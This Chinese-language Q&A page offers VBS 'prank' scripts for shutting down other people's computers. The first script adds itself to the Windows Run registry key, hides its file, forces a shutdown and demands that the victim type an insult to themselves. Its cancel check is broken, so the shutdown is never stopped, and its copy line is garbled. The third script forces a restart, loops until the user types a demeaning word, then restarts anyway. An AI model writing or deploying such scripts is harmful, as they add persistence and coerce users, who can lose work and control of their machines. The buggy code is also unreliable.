vbs關機腳本
① VBS腳本執行關機
set a=createobject("wscript.shell")
a.run "cmd.exe /c 打開看看吧.vbs c:\1.vbs"
a.run "cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 1.vbs /t REG_SZ /d C:\1.vbs"
a.run "cmd.exe /c attrib c:\1.vbs +a +r +s +h"
a.run "cmd.exe /c shutdown -s -t 60 -c 請一定注意下面的對話框!!!"
b=inputbox("請在下面的輸入欄中輸入「我是豬」,速度要快不然,你的電腦將在60秒後重啟","嚴重警告")
if 60= "我是豬" then
a.run "cmd.exe /c shutdown -a"
msgbox "放心。。本程序是沒有毒了。。帶來不便。。**在此sorry"
else
msgbox "你等著重啟吧"
end if
wscript.sleep 600000
a.run "c:\1.vbs" 自己更改一下時間就可以。。是vbs文件。。會更改注冊表。。。
② 求:vbs立刻關機代碼
下面的代碼 100% 零秒關機! wscript.CreateObject("wscript.shell").run "shutdown /s /t 0" 解釋: /s是關機,可以弄為/L(注銷),/R(重啟) /t 0 是指在指令 發出後0秒執行,如果是/t 10,就是10秒後再執行 如果你想得到更全面的解釋,請在運行里輸入cmd,在Cmd下輸入shutdown /? 就可以得到shutdown命令的使用幫助了
③ VBS關機命令
on error resume next
'遇到錯誤繼續運行
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
'定義可執行對象wscript.shell
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""叫哥,不喊就一分鍾關你機,不信,試試···"" ",0 ,true
'調用cmd執行重啟系統命令定時60秒
dim a
'定義變數a
do while(a <> "哥")
'當a="哥"的時候結束循環,
'就是說他說了"哥"就跳出循環,否則一直讓他叫哥
a = inputbox ("叫哥,就不關機,快撒,說 """"","說不說","不說",8000,7000)
'彈出一個輸入框讓對方輸入,也就是讓他叫哥
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
'顯示他說的話 chr(13) 是回車鍵,也就是換行
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
'當他叫了 哥 ,就退出循環然後顯示這句話
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
'定義可執行對象wscript.shell
WSHshell.run "cmd.exe /c shutdown -r -t 60 -c",0 ,true
'調用cmd執行重啟系統命令定時60秒
'如果想取消關機,
'就用 WSHshell.run "cmd /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,早叫哥不就行了"
'顯示 "哈哈哈哈,早叫哥不就行了" 這句話,前面有三個換行符